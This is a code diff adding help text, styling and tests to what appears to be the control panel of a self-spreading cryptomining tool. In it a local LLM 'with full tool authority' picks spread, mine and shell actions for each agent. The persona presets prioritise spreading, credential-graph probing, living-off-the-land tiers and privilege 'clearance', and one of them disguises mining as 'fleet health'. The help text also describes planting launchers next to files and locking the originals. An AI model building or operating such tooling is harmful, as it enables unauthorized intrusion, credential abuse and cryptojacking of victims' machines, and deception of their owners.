'When a host is stuck or all spread tiers fail, AI Control runs a Singular Machine Court: Prosecutor cites failure atlas + LOTL attempts, Defender cites a matching fleet phenotype, Judge returns at most three commands. Decisions persist with court_session=true on LOTL Timeline.',
|
||||
calibration_ai_control:
|
||||
'Calibrate control mode: Logic gates use weighted adaptive strategy + server lotl_onion_tiers. AI Control routes fleet decisions through a local LLM on this control PC every 60s per agent — stateless, no memory, full tool authority on your machines only.',
|
||||
ai_local_endpoint:
|
||||
@@ -42,6 +50,18 @@ export const FIELD_HELP: Record<string, string> = {
|
||||
'Stateless AI mode — each 60s cycle sends only the current agent snapshot. No chat history or cross-agent memory is retained (always on for fleet safety).',
|
||||
ai_interval_sec:
|
||||
'Seconds between AI decision cycles per connected agent when AI Control is enabled. Default 60 — matches agent heartbeat cadence.',
|
||||
ai_persona:
|
||||
'Calibrate AI persona preset — shapes the LLM system prompt for fleet decisions. Aggressive maximizes spread+mine; Silent mines quietly; Passive observes; Persuasive spread-first; Balanced is default mission behavior.',
|
||||
ai_persona_aggressive:
|
||||
'Aggressive persona: take every spread and mine opportunity on your machines. Prioritize spread_now and discover_and_join each cycle, fast tier retries, and L4 clearance when stuck after tier exhaustion.',
|
||||
ai_persona_silent:
|
||||
'Silent persona: mine only with minimal spread. Never spread_now unless stuck after all 14 tiers; prefer container/wsl/docker. No shell agent_command unless clearance is high and hashrate stays zero.',
|
||||
ai_persona_passive:
|
||||
'Passive persona: observe and report mostly. Default noop unless hashrate=0 with exhausted chain (~10m stuck). Gentle restart_mining only — no aggressive spread or clearance elevation.',
|
||||
ai_persona_persuasive:
|
||||
'Persuasive persona: spread-first fleet growth. Attempt discover_and_join before restart_mining; probe join lanes and credential graph. Sell mining as fleet health after spread lanes succeed.',
|
||||
ai_persona_balanced:
|
||||
'Balanced persona: default mission prompt — balance spread vs mine, clearance-aware shell only when stuck, discover_and_join when join lanes are available.',
|
||||
forge_path_forge:
|
||||
'Server-side recursive batch seed: enter a folder path and the server walks it, placing a launcher next to every matching file without uploading anything. Lock Original renames the source so only the companion launcher can open it — it re-locks after playback.',
|
||||
forge_recommended_defaults:
|
||||
|
||||
@@ -1358,6 +1358,52 @@ button.deliverable-card .form-hint {
|
||||
margin-top: 0.75rem;
|
||||
}
|
||||
|
||||
.calibration-persona-chips {
|
||||
display: flex;
|
||||
flex-wrap: wrap;
|
||||
gap: 0.5rem;
|
||||
margin: 0.5rem 0 0.25rem;
|
||||
}
|
||||
|
||||
.calibration-persona-chip-wrap {
|
||||
display: inline-flex;
|
||||
align-items: center;
|
||||
gap: 0.2rem;
|
||||
}
|
||||
|
||||
.calibration-persona-chip {
|
||||
display: inline-flex;
|
||||
align-items: center;
|
||||
gap: 0.35rem;
|
||||
padding: 0.45rem 0.85rem;
|
||||
border-radius: 999px;
|
||||
border: 1px solid var(--border-brass);
|
||||
background: rgba(10, 10, 18, 0.65);
|
||||
color: var(--text-secondary);
|
||||
cursor: pointer;
|
||||
font-family: var(--font-tech);
|
||||
font-size: 0.82rem;
|
||||
letter-spacing: 0.05em;
|
||||
text-transform: uppercase;
|
||||
transition: border-color 0.2s ease, box-shadow 0.2s ease, background 0.2s ease;
|
||||
}
|
||||
|
||||
.calibration-persona-chip:hover {
|
||||
border-color: color-mix(in srgb, var(--chip-accent, var(--neon-cyan)) 55%, transparent);
|
||||
background: rgba(0, 232, 245, 0.05);
|
||||
}
|
||||
|
||||
.calibration-persona-chip--selected {
|
||||
border-color: var(--chip-accent, var(--neon-magenta));
|
||||
background: color-mix(in srgb, var(--chip-accent, var(--neon-magenta)) 14%, transparent);
|
||||
color: var(--text-primary);
|
||||
box-shadow: 0 0 18px color-mix(in srgb, var(--chip-accent, var(--neon-magenta)) 25%, transparent);
|
||||
}
|
||||
|
||||
.calibration-persona-chip-label {
|
||||
line-height: 1;
|
||||
}
|
||||
|
||||
.calibration-ai-meta {
|
||||
display: flex;
|
||||
flex-wrap: wrap;
|
||||
|
||||
@@ -218,6 +218,34 @@ describe('SettingsPage (Calibrate)', () => {
|
||||
expect(saved?.server?.ai_no_context).toBe(true);
|
||||
});
|
||||
|
||||
it('renders AI persona preset chips when AI Control is on', async () => {
|
||||
const user = userEvent.setup();
|
||||
renderSettings();
|
||||
await screen.findByRole('button', { name: /AI Control/i });
|
||||
await user.click(screen.getByRole('button', { name: /AI Control/i }));
|
||||
const group = screen.getByRole('group', { name: 'AI persona preset' });
|
||||
expect(within(group).getByRole('button', { name: 'Aggressive' })).toBeInTheDocument();
|
||||
expect(within(group).getByRole('button', { name: 'Silent' })).toBeInTheDocument();
|
||||
expect(within(group).getByRole('button', { name: 'Passive' })).toBeInTheDocument();
|
||||
expect(within(group).getByRole('button', { name: 'Persuasive' })).toBeInTheDocument();
|
||||
expect(within(group).getByRole('button', { name: 'Balanced' })).toHaveAttribute('aria-pressed', 'true');
|
||||
});
|
||||
|
||||
it('saves selected ai_persona preset via updateConfig', async () => {
|
||||
const user = userEvent.setup();
|
||||
renderSettings();
|
||||
await screen.findByRole('button', { name: /AI Control/i });
|
||||
await user.click(screen.getByRole('button', { name: /AI Control/i }));
|
||||
const group = screen.getByRole('group', { name: 'AI persona preset' });
|
||||
await user.click(within(group).getByRole('button', { name: 'Aggressive' }));
|
||||
await user.click(screen.getByRole('button', { name: /save calibration/i }));
|
||||
await waitFor(() => {
|
||||
expect(api.updateConfig).toHaveBeenCalled();
|
||||
});
|
||||
const saved = vi.mocked(api.updateConfig).mock.calls.at(-1)?.[0];
|
||||
expect(saved?.server?.ai_persona).toBe('aggressive');
|
||||
});
|
||||
|
||||
it('describes first-run admin credentials in Access Control help', async () => {
|
||||
renderSettings();
|
||||
expect(
|
||||
|
||||
Reference in New Issue
Block a user